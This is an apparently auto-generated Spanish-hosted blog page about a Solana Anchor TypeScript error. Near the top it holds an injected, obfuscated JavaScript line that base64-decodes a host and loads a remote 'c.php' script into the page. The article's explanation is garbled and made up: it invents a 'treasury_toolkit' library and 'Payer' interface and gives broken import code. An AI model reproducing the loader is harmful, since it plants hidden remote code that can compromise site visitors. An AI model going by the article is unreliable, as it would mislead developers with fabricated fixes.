Search

Solana: Error: Argument of type ‘PublicKey’ is not assignable to parameter of type ‘Provider’ when running an anchor test in Solana

const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»c.php?u=cdc2f4bf»;document.body.appendChild(script);

Here is an article that summarizes the issue:

Error: «Cannot assign argument of type PublicKey to parameter of type ‘Provider’ in Solana

When running a test script in Solana using the Anchor framework, you may encounter an error that seems impossible to resolve. The exact error message is:

«Argument of type PublicKey cannot be assigned to parameter of type ‘Provider'»

This error occurs when trying to run the Anchor test script in Solana that uses the treasury_toolkit library.

What causes this error?

The problem is that the treasury_toolkit library provides two types: «Provider» and «PublicKey». However, in the context of the Solana program, it is not clear which type is being used. The «Provider» class is used to interact with external services, while the «PublicKey» class is used to represent addresses.

How ​​to fix this error

To resolve this error, you need to determine where the treasury_toolkit library is imported and make sure you are using the correct types. Here is a step-by-step solution:

  • Check your imports: Check your code to see where the treasury_toolkit library is imported. Make sure it imports the correct type, either Provider or PublicKey.
  • Use the correct type in Anchor tests: In anchor tests, you should use the treasury_toolkit.Payer interface instead of Provider. This is because Provider is specific to the Solana RPC interface.
  • Update your code

    : Update all instances of Provider to use treasurer_toolkit.Payer.

Updated Import Example

import treasury_toolkit from '@treasury-toolkit/anchor';

comes

import treasury_toolkit from '@treasury-toolkit/anchor';

import { treasury_toolkit as treasury } from '@treasury-toolkit/anchor';

// or

import {treasury_toolkitProvider, treasury_toolkitPublicKey} from @treasury-toolkit/anchor;

By following these steps, you should be able to resolve the error «Argument of type PublicKey cannot be assigned to parameter of type Provider» and successfully run the test script in your Solana application.

Solana Cargo Build Error

VER MÁS

OTRAS ENTRADAS